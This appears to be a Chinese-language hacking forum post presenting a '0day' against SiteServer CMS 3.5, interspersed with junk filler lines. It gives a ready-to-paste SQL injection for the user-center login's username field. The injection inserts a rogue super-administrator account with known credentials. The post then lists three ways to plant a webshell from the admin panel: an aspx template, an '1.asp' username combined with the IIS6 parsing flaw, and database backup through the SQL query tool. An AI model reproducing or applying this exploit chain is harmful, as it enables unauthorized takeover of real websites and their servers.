SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
& i/ M8 |1 c" ]' ~/ \
) r- ?3 n. u) Y  E) d1 Cstieserver官网:www.siteserver.cn
5 E* w! S8 u0 m/ Y9 Q" q


EXP:

5 V3 E9 W, _) b7 }, z8 Y直接访问UserCenter/login.aspx
2 t0 C7 `$ W5 S4 O8 _0 i. l- D
; H2 E( P4 @1 m' N5 B
$ X/ \' ?/ ~; W; D2 x+ A8 G! c
+ n+ }, ^* r1 E9 M用户名处输入：

# g; t  z% u4 O( D6 [$ z123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--



1 {3 x  ]) _( M& i. b8 `密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。

" B, }. h6 n# h7 X

之后再访问后台SiteServer/login.aspx用插入的用户登陆

% L# y1 i, ^+ L

后台拿webshell的三种方法：

, w& x2 `7 k0 w2 {1 U/ M/ {一、
3 w4 Z5 \9 r- ^) i
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
! x. y5 z1 i2 U6 w# t6 M$ X9 ?9 G/ U
二、
3 k' y( f; y7 O3 I. x, {+ u
/ c+ Q2 ^/ a, D  s% K' a成员权限-》添加用户-》用户名为：1.asp

4 D5 J. q. c$ _1 @9 ]http://127.0.0.1/usercenter/
+ r- f% ]2 \' G& ?; g8 Z1 O: m: q
用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

（ps：后台添加用户时不会验证是否含有非法字符）

三、
4 P2 K3 {3 m" ^3 t0 O8 d+ A
系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径
: f: B$ B: O$ p" G" W$ F' ^  B' B
系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
7 W) s* V* f; m0 F; S" _
1 |5 R' j: b/ K, W